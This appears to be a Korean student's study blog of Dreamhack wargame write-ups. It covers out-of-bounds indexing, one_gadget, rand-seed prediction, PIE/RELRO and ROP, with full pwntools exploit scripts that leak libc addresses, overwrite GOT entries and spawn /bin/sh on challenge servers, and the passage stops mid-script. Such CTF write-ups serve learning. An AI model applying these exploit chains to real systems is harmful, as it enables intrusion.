배열의 인덱스 주소가 배열의 범위 안에 있는지 검사하지 않는다는 점을 이용한 취약점 --> 인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생

📢 PoC Code

// Name: oob.c
// Compile: gcc -o oob oob.c

#include <stdio.h>

int main() {
  int arr[10];

  printf("In Bound: \n");
  printf("arr: %p\n", arr);
  printf("arr[0]: %p\n\n", &arr[0]);

  printf("Out of Bounds: \n");
  printf("arr[-1]: %p\n", &arr[-1]);
  printf("arr[100]: %p\n", &arr[100]);

  return 0;
}

이 코드를 컴파일하여 실행하면, 인덱스를 -1과 100을 사용했음에도 불구하고, 아무런 경고 없이 여과없이 값을 출력함을 확인 할 수 있다.

📌 OOB를 이용한 공격 기법

OOB를 이용하면 임의의 주소에 값을 쓰는 것도 가능하다.

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include <stdio.h>
#include <stdlib.h>

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;

  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);

  stu[idx - 1].attending = 1;

  if (isAdmin) printf("Access granted.\n");
  return 0;
}

이 코드에서 만약 우리가 isAdmin이라는 변수를 1로 만들 수 있다면 Access granted가 출력될 것이다. 따라서 isAdmin 주소를 알아낸 다음, 그 stu 배열의 인덱스를 정상 범위보다 초과하여 입력하면 isAdmin변수에 접근 할 수 있을 것이다.

📌 OOB 관련 워게임 Write Up

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

command 배열을 oob 시켜서 /bin/sh로 접근하게 만들면 된다.

$ checksec out_of_bound
[*]
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

해당 코드는 PIE가 적용되어 있지 않기 때문에 데이터 영역의 변수들은 항상 정해진 주소에 저장된다. 이를 gdb를 이용해서 각각의 변수들의 주소를 찾고, 주소 값의 차이를 인덱스를 이용하여 접근하면 되는 문제일 것이다. 처음 name변수에 /bin/sh값을 입력하고 command 배열을 oob 시켜서 name변수에 접근하도록 하면 될 것 같다. 근데 익스플로잇이 안된다(?) gdb를 붙여서 확인해 보니 아래와 같다.

/bin/sh이 아니라 /bin만 들어간다. 그래서 인덱스를 2 추가한 다음(8바이트를 더 오버한 다음), 원하는 주소, 즉 name변수의 주소를 넣으면 될 것 같다.

그러면 command[19 + 2] = *(name +8) = 0x804a0ac가 되므로 해당 값을 이용하면 되겠다.

따라서 최종적으로 작성한 익스플로잇 코드는 아래와 같다.

from pwn import *

p = remote("host1.dreamhack.games", 9327)
e = ELF('./out_of_bound')

payload = b'/bin/sh\x00' + p32(0x804a0ac)


p.recvuntil("name: ")
p.send(payload)
p.recvuntil("want?: ")
p.sendline(b'21')

p.interactive()

결과

/home/li-sh/Desktop/dreamhack/out_of_bound/out_of_bound.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("name: ")
/home/li-sh/Desktop/dreamhack/out_of_bound/out_of_bound.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("want?: ")
[*] Switching to interactive mode
$ ㅣㄴ
$ ls
flag
out_of_bound
$ cat flag
DH{****************************}

보호기법이 걸린 Buffer Overflow 워게임 문제들 풀다가 이런 문제를 풀면 간단한 것 같지만, 아마 이건 쉬운 문제이지 않을까 싶다. 갈 길이 더 열심히 해야겠다.

📌 코드 분석

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

코드는 stdout의 주소를 받을 수 있고, msg[16]에 비해 46을 read하므로 버퍼 오버플로우가 발생하는 것을 알 수 있다. 일단 어떤 보호기법이 사용되었는지 확인하면 아래와 같다.

$ checksec ./oneshot
[*] '/home/li-sh/Desktop/dreamhack/one_shot/oneshot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

NX, PIE, Partial RELRO가 적용되어있고, Canary는 없다.

📌 Write Up

일단 stdout의 주소를 알 수 있으므로, 우리는 이를 이용해서 lib의 base 주소를 구할 수 있다. 이 base 주소에 one_gadget의 offset을 더해서 RET에 입력하면 될 것 같다. 간단한 문제인 것 같다. 우선 one_gadget의 주소를 구해야 하는데 해당 명령어는 아래와 같이 확인 할 수 있다.

$ one_gadget ./libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

해당 명령어는 ./ligbc.so.6에 대한 one_gadget의 offset 주소를 확인 할 수 있다. 이를 이용해서 해당 문제의 익스플로잇 코드를 짜면 아래와 같다.

from pwn import *

# p = process('./oneshot')
p = remote('host1.dreamhack.games', 18958)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')


def slog(name, addr): return success(': '.join([name,hex(addr)]))

one_gadget = 0x45216

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget

# [1] Leak libc base
payload = b'\x00'* 32
payload += b'\x00'*8
payload += p64(one_gadget)

p.sendafter("MSG: ", payload)
p.interactive()

참고로 check>0이 되면 종료가 되기 때문에 모든 값을 0으로 집어넣었다. 결과는 아래와 같다.

[+] STDOUT: 0x7f329f668620
[+] base: 0x7f329f2a3000
[+] one_gadget: 0x7f329f2e8216
/home/li-sh/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
 MSG: 
$ cat flag
DH{***********************}

one_gadget은 ROP chain을 구성할 필요없어 매우 강력하지만, libc의 버전마다 다르게 존재하며, 제약 조건도 다 다르기 때문에, one_gadget을 맹신하지 말고, ROP chaining도 연습해놓아야 한다.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(void)
{
    char c, t[4] = "RPS";
    int i, p, r;
    srand(time(NULL));
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    for(i = 1; i <= 10; i++)
    {
        printf("Round %d of 10\n", i);
        printf("Put your hand out(R, P, S): ");
        scanf("%c", &c);
        while(getchar() != '\n');
        switch(c)
        {
            case 'R':
                p = 0;
                break;
            case 'P':
                p = 1;
                break;
            case 'S':
                p = 2;
                break;
            default:
                printf("Nope!\n");
                return 0;
        }
        sleep(1);
        r = rand() % 3;
        printf("You: %c Computer: %c\n", t[p], t[r]);
        if((r - p + 1) % 3)
        {
            printf("Nope!\n");
            return 0;
        }
    }
    int fd = open("./flag", O_RDONLY);
    char flag[64] = { 0, };
    read(fd, flag, 64);
    printf("Flag is %s\n", flag);
    close(fd);
    return 0;
}

내가 입력한 것과 srand()로 난수를 생성해서 나온 결과값으로 10번 연속 이겨야 하는 코드이다. Bruteforce가 가장 먼저 생각났지만, 1/3^10의 확률은 죽어도 안나올것이라는 생각이 먼저 들었다.

gdb로 확인해 보고 싶었는데, 이렇게 나오더라. 분명 main 함수는 C 코드에서 있는데, 왜 main의 어셈블리 언어를 볼 수가 없는 것인가...?

그래서 어쩔수 없이 C 코드를 계속 분석해야 겠다.

📌 Write Up 1

일단 rand함수를 공략해야 실마리가 보일 것 같아서 계속 들여다 보니, rand함수 안의 값이 Time(NULL)로 되어 있으니 현재 시간을 기준으로 난수를 생성한다는 것을 알 수 있다. 그러면 "만약 그 서버에서 사용하는 현재 시간을 가져 올 수 있다면, 똑같은 난수를 출력할 테니, 10번 다 이길 수 있는 방법이 생기지 않을까?" 했다

그래서 파이썬에서 rand함수를 사용할 수 있는 지 검색해보니, 많은 사람들이 이렇게 생각했나보다.

# windows
from ctypes import *
libc=CDLL("msvcrt")
libc.srand(seed)
libc.rand()

# linux
from ctypes import *
libc=CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(seed)
libc.rand()

서버에 연결한 다음 그 시간에 맞춰 시드를 생성하고, 난수를 생성하여 pwntools로 하면 되겠다.

이를 이용한 익스플로잇 코드는 아래와 같다.

from pwn import *
from ctypes import *
import time

# p = process("./chall")
p = remote("host1.dreamhack.games", 24427)
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0))

def rockps(k):
    if k==0:
        return "R"
    elif k==1:
        return "P"
    elif k==2:
        return "S"

for i in range(10):
    com = rockps(libc.rand()%3)
    #print(f"COM : {com}")

    if com == "P":
        p.sendline(b"S")
    elif com == "S":
        p.sendline(b"R")
    else:
        p.sendline(b"P")
    time.sleep(1)

p.interactive()

결과는 아래와 같다.

$ python3 rock_paper_cissor.py
[+] Opening connection to host1.dreamhack.games on port 24427: Done
[*] Switching to interactive mode
Round 1 of 10
Put your hand out(R, P, S): You: P Computer: R
Round 2 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 3 of 10
Put your hand out(R, P, S): You: P Computer: R
Round 4 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 5 of 10
Put your hand out(R, P, S): You: S Computer: P
Round 6 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 7 of 10
Put your hand out(R, P, S): You: P Computer: R
Round 8 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 9 of 10
Put your hand out(R, P, S): You: R Computer: S
Round 10 of 10
Put your hand out(R, P, S): You: R Computer: S
Flag is DH{***********************}
[*] Got EOF while reading in interactive

📌 Write Up 2

다양성을 생각해서 다른 사람들 풀이도 봤는데, 이런 풀이도 있었다. 도대체 이런 생각은 어떻게 하는지...

import subprocess

host = "host1.dreamhack.games"
port = 24427

for i in range(11):
    subprocess.Popen([
        'gnome-terminal', '--', 'bash', '-c', f'nc {host} {port}; exec bash'
])

11개의 프로세스를 동시에 열어서 같은 시간에 만들어졌기 때문에 각 라운드에서 나올 값들은 동등하게 나온다. 직접 해보니까 11개의 터미널이 열리면서 노가다성이긴 하지만 나오긴 한다.

rand함수의 특성을 파악 할 수 있고, 관련된 파이썬 라이브러리를 찾을 수 있는, 나중에 비슷한 문제가 나오면 풀 수 있는 좋은 문제였다.

PIC(Position-Independent Code) : 재배치가 가능한 코드 = 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않는 코드

📌 PIC 적용과 미적용 차이

PIC를 적용하면 문자열 주소를 RIP + 0xa2와 같이 상대 주소로 참조한다. 그러나 PIC를 적용하지 않으면 0x4005a1과 같이 절대 주소로 문자열을 참조한다.

 push   rbp
 mov    rbp,rsp
-mov    rax,QWORD PTR [rip+0x200b3e]        # 0x601030 <data>
+mov    rax,QWORD PTR [rip+0x2009ab]        # 0x201010 <data>
 mov    rsi,rax
-mov    edi,0x4005a1
+lea    rdi,[rip+0xa2]        # 0x711
 mov    eax,0x0
-call   0x4003f0 <printf@plt>
+call   0x530 <printf@plt>
 mov    eax,0x0
 pop    rbp
 ret

- 부분이 Pic 없는 코드, + 부분이 Pic 있는 코드이다.

📌 PIE란?

PIE(Position-Independent Executable) : 재배치가 가능한 실행 파일 = 무작위 주소에 매핑돼도 실행 가능한 실행 파일

리눅스의 기본 실행 파일인 /bin/ls의 파일 헤더를 보면 아래와 같다.

~$ readelf -h /bin/ls
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x6aa0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          136232 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

Type을 보면 DYN(Position-Independent Excutable File)이라고 적혀 있다. 이를 통해 PIE가 적용 되어 있음을 알 수 있다.

아니면 checksec 명령어를 이용하면 PIE가 적용되었는지 안되었는지 알 수 있다.

📢 PIE vs ASLR

PIE : 코드 영역에 무작위 주소에 매핑되는 기술 ASLR : 스택, 힙, 공유 라이브러리 등이 무작위 주소에 매핑되는 기술

📌 PIE 우회 기술

ASLR처럼 코드 영역의 가젯을 사용하거나, 데이터 영역에 접근하려면 바이너리가 적재된 주소를 알아야 한다. 이 주소를 PIE 베이스, 즉 코드 베이스라고 부르는데, 이 주소를 알아야 코드 영역의 임의 주소를 읽고, 오프셋으로 주소를 계산해야 한다.

• Partial Overwrite : ASLR의 특성 상, 코드 영역의 주소도 ASLR과 똑같이 하위 12비트 값은 항상 동일하다. 따라서 일부분(하위 한 바이트)만 다르면 이 값을 덮어써서 원하는 코드를 실행할 수 있다.

📌 RELRO란?

RELRO(RELocation Read-Only) : 쓰기 권한이 불필요한 데이터 세그먼트 영역의 쓰기 권한을 제거하는 기술

적용 범위에 따라 Full RELRO와 Partial RELRO로 나뉜다.

• Partial RELRO = 부분적으로 적용하는 기술
• Full RELRO = 가장 넓은 영역에 적용하는 기술

📢 RELRO 권한 확인 방법

1. gdb로 실행파일을 디버깅하고 vmmap으로 메모리의 권한을 확인하면 된다.

   pwndbg> vmmap
   LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r-xp     1000      0 /home/li-sh/Desktop/dreamhack/hookoverwrite/hook
          0x600000           0x601000 r--p     1000      0 /home/li-sh/Desktop/dreamhack/hookoverwrite/hook
          0x601000           0x602000 rw-p     1000   1000 /home/li-sh/Desktop/dreamhack/hookoverwrite/hook
          0x602000           0x623000 rw-p    21000      0 [heap]
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000      0 [anon_7ffff7e1c]
    0x7ffff7fa8000     0x7ffff7fab000 rw-p     3000      0 [anon_7ffff7fa8]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000      0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000      0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
   0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

2. /proc/self/maps를 확인하면 메모리 맵을 확인 할 수 있다.

3. objdump 명령어를 이용하면 각 세그먼트가 어느 메모리에 할당 되어있는지 확인 할 수 있다.

   $ objdump -h ./hook
   

./hook: file format elf64-x86-64

Sections: Idx Name Size VMA LMA File off Algn 0 .interp 0000001c 0000000000400238 0000000000400238 00000238 20 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 0000000000400254 0000000000400254 00000254 22 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .note.gnu.build-id 00000024 0000000000400274 0000000000400274 00000274 22 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .gnu.hash 00000068 0000000000400298 0000000000400298 00000298 23 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynsym 00000198 0000000000400300 0000000000400300 00000300 23 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .dynstr 000000b7 0000000000400498 0000000000400498 00000498 20 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version 00000022 0000000000400550 0000000000400550 00000550 21 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .gnu.version_r 00000040 0000000000400578 0000000000400578 00000578 23 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rela.dyn 00000180 00000000004005b8 00000000004005b8 000005b8 23 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 0000001a 0000000000400738 0000000000400738 00000738 22 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000010 0000000000400760 0000000000400760 00000760 24 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .plt.got 00000070 0000000000400770 0000000000400770 00000770 23 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .text 000002d2 00000000004007e0 00000000004007e0 000007e0 24 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .fini 00000009 0000000000400ab4 0000000000400ab4 00000ab4 22 CONTENTS, ALLOC, LOAD, READONLY, CODE 14 .rodata 00000033 0000000000400ac0 0000000000400ac0 00000ac0 22 CONTENTS, ALLOC, LOAD, READONLY, DATA 15 .eh_frame_hdr 00000044 0000000000400af4 0000000000400af4 00000af4 22 CONTENTS, ALLOC, LOAD, READONLY, DATA 16 .eh_frame 00000134 0000000000400b38 0000000000400b38 00000b38 23 CONTENTS, ALLOC, LOAD, READONLY, DATA 17 .init_array 00000008 0000000000600da0 0000000000600da0 00000da0 23 CONTENTS, ALLOC, LOAD, DATA 18 .fini_array 00000008 0000000000600da8 0000000000600da8 00000da8 23 CONTENTS, ALLOC, LOAD, DATA 19 .jcr 00000008 0000000000600db0 0000000000600db0 00000db0 23 CONTENTS, ALLOC, LOAD, DATA 20 .dynamic 000001c0 0000000000600db8 0000000000600db8 00000db8 23 CONTENTS, ALLOC, LOAD, DATA 21 .got 00000088 0000000000600f78 0000000000600f78 00000f78 23 CONTENTS, ALLOC, LOAD, DATA 22 .data 00000010 0000000000601000 0000000000601000 00001000 23 CONTENTS, ALLOC, LOAD, DATA 23 .bss 00000020 0000000000601010 0000000000601010 00001010 24 ALLOC 24 .comment 00000035 0000000000000000 0000000000000000 00001010 2**0 CONTENTS, READONLY

이 때 Partial RELRO는 `.got`와 `.got.plt`로 존재하는데 각각의 차이점은 아래와 같다.
- `.got`는 실행되는 시점에 Lazy Binding되는 변수가 위치하는 곳이다.
- `.got.plt`는 실행 중에 Lazy Binding되는 변수가 위치하는 곳이다.

---

## 📌 RELRO 우회 기법
1. Partial RELRO일 때
`.init_array`와 `.fini_array`에 대한 권한이 제거되어 있지만, `.got.plt` 영역에 대한 쓰기 권한이 존재하므로 GOT Overwrite 공격을 활용할 수 있다.
2. Full RELRO일 때
`.init_array`,`.fini_array`,`.got` 영역 모두 쓰기 권한이 제거되어 있기 때문에 `hook` 함수를 이용한다. `__malloc_hook`과 `__free_hook`이 대표적인 hook 함수로 이러한 hook을 사용하여 공격하는 기법을 `Hook Overwrite`라고 한다.

---

추가적으로 확인한 사항
`Hook Overwrite` 공격 기법은 hook 변수들은 멀티스레드 환경에서의 안전성 문제와 보안 취약점으로 인해 glibc 2.32 버전에서 사용이 권장되지 않게 되었으며, glibc 2.34 버전(2021년 8월 릴리스)부터는 완전히 제거되었다고 한다.

이러한 변화로 인해, 기존에 malloc hook을 사용하던 디버깅 기능들은 별도의 라이브러리인 `libc_malloc_debug.so.0`로 분리되었습니다. 따라서 glibc 2.34 버전 이후부터는 이 라이브러리를 명시적으로 로드하여야만 이전의 디버깅 기능을 사용할 수 있다고 한다.

📌 Write up 1

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

해당 문제의 C 코드는 basic_rop_x64의 코드와 완전히 동일하다.

📢 코드 분석

read(0, buf, 0x400);

너무나 당연하게도 buf의 크기는 0x40인데 비해, 0x400을 읽으므로 버퍼 오버플로우라고 생각할 수 있다.

write(1, buf, sizeof(buf));

여기에 ROP chaining을 하여 payload를 보내면 될 듯 하다.

📢 익스플로잇 설계

1) "이전처럼 read_got + 4 를 이용해서 하면 되지 않을까?" 싶지만 x86은 함수 호출 규약이 cdecl, 즉 스택에 인자를 push 한 후, 함수를 호출한다. 그래서 read_got + 4를 작성하면 인자가 잘못 전달될 가능성이 있다. 2) 따라서 bss 영역에 /bin/sh을 작성한 다음, 이후 실습 과정과 동일하게 작성하면 될 듯하다.

📢 익스플로잇 코드 작성

from pwn import *

p = remote("host1.dreamhack.games",16050)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
r = ROP(e)

write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
pop_esi = r.find_gadget(['pop esi','pop edi','pop ebp','ret'])[0]
ret = r.find_gadget(['pop ebp','ret'])[0]
bss = e.bss()

# buf = ebp - 0x44
payload = b'A'*72


# write(1,read_got,...)
payload += p32(write_plt)+p32(pop_esi)+p32(1)+p32(read_got)+p32(4)

# read(0,bss,8)
payload += p32(read_plt)+p32(pop_esi)+p32(0)+p32(bss)+p32(8)

# read(1,read_got,...)
payload += p32(read_plt)+p32(pop_esi)+p32(0)+p32(read_got)+p32(4)

# read("bin/sh")= system("bin/sh")
payload += p32(read_plt)
payload += p32(ret)
payload += p32(bss)

p.send(payload)
p.recvuntil(b'A'*64)
read = u32(p.recvn(4))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(b'/bin/sh\x00')
p.sendline(p32(system))
p.interactive()

결과

[+] Opening connection to host1.dreamhack.games on port 16050: Done
[*] '/home/li-sh/Desktop/dreamhack/basic_rop_x86/basic_rop_x86'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/home/li-sh/Desktop/dreamhack/basic_rop_x86/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Loaded 9 cached gadgets for './basic_rop_x86'
[*] Switching to interactive mode
$ ls
basic_rop_x86
flag
libc.so.6
$ cat flag
DH{*******************}

📌 Write up 2

다른 풀이들을 보니까 이런 방법들도 있어서 시도해보았다.

📢 익스플로잇 설계

1) read_got의 값을 읽은 후, 다시 main 함수 시작으로 돌아간다. 2) 읽어들인 값으로 read@libc을 구한 후, libc base, system@libc 주소를 구한다. 3) /bin/sh을 bss 영역에 쓰지 않고, libc 안에서 /bin/sh을 찾아서 libc base에서 offset을 더하여 주소를 얻는다. 4) 다시 main 처음으로 돌아갔으므로, 처음부터 payload를 작성한다. 이 때, 버퍼 오버플로우를 시키고, system@libc, /bin/sh 주소를 아니까 바로 payload에 넣으면 된다.

📢 익스플로잇 코드 작성

from pwn import *

p = remote("host1.dreamhack.games",16050)
# p = process('./basic_rop_x86')
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
r = ROP(e)

write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
pop_esi = r.find_gadget(['pop esi','pop edi','pop ebp','ret'])[0]
ret = r.find_gadget(['pop ebp','ret'])[0]
main = e.symbols['main']

# buf = ebp - 0x44
payload = b'A'*72

# write(1,read_got,...)
payload += p32(write_plt)+p32(pop_esi)+p32(1)+p32(read_got)+p32(4)

# ret2main 기법
payload += p32(main)

p.send(payload)
p.recvuntil(b'A'*64)
read = u32(p.recvn(4))
lb = read - libc.symbols['read']
binsh = lb + next(libc.search(b'/bin/sh'))
system = lb + libc.symbols['system']

log.success(f"Leaked read@libc: {hex(read)}")
log.success(f"Calculated libc_base: {hex(lb)}")
log.success(f"Calculated system@libc: {hex(system)}")
log.success(f"binsh: {hex(binsh)}")

payload2 = b'A'*72
payload2 += p32(system)
payload2 += p32(ret)
payload2 += p32(binsh) 

p.send(payload2)
p.interactive()

결과는 똑같다.

하나의 문제풀이 방법이 아닌 다양한 방법으로 가능하다는 것이 이 문제의 매력 중 하나인 것 같다. 문제를 풀면서 헷갈렸던 점은, bss 영역은 생각도 하지 못하고, 계속 libc 안에서 /bin/sh을 찾아서 하면 될 것 같다고 생각했었다. 그래도 삽질을 계속 하다보니까 기억엔 오래 남을 것 같다.

Return Gadget을 사용하여 실행 흐름을 구현하는 기법. GOT overwrite, return to library, return to dl-resolve 등의 공격 기법을 연쇄적으로 구성하여 ROP payload를 만들 수 있다.

📌 ROP를 이용한 워게임 Write Up

해당 문제는 드림핵의 rop 문제를 Write up 한 것이다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

📢 코드 분석

write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);

이 코드를 통해 buf를 버퍼 오버플로우시켜 Canary Leak 하여 Canary를 얻는다.

write(1, "Buf: ", 5);
read(0, buf, 0x100);

전에 구했던 Canary 값을 사용하여 이 코드에서 ROP payload를 구성한다.

📢 익스플로잇 설계

1) [1] Leak Canary에서 Buf를 입력하여 Canary Leak을 일으킨다. 2) ROP payload를 구성하기 위해 필요한 read_got, read_plt, write_plt, 그리고 ROPgadget을 구한다. 3) 이제 ROP payload를 구성하는 데 chain 과정은 아래와 같다.

• read 함수의 libc 주소를 구하기 위해 write(1,read_got,...)을 실행한다.
• 얻은 read@libc 주소로 system@libc 주소를 구한다.
• GOT overwrite을 위해 read(0,read_got,...)을 실행한다.
• read 함수를 통해 system@libc와 /bin/sh을 입력하여 system@libc로 read의 got를 overwrite한다.
• read 함수를 다시 실행하면 read@got에는 system@libc 주소가 있기 때문에 read 함수를 실행하여 system("/bin/sh")을 실행한다.

이 일련의 과정을 익스플로잇 코드로 짜면 아래와 같다.

# rop.py
from pwn import *

p = remote("host1.dreamhack.games",19470)
e = ELF("./rop")
libc = ELF("./libc.so.6")
r= ROP(e)


read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret = r.find_gadget(['ret'])[0]


# buf = rbp - 0x40
p.sendafter(b'Buf: ',b'A'*57)
p.recvuntil(b'A'*57)
canary = u64(b'\x00'+p.recv(7))
log.info(hex(canary))

payload = b'A'*56 + p64(canary)+b'B'*8

# write(1,read_got,...) --> read 함수의 libc 주소 찾기
payload += p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(read_got)+p64(1)
payload += p64(write_plt)

# read(0,read_got,...)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15)+ p64(read_got)+p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
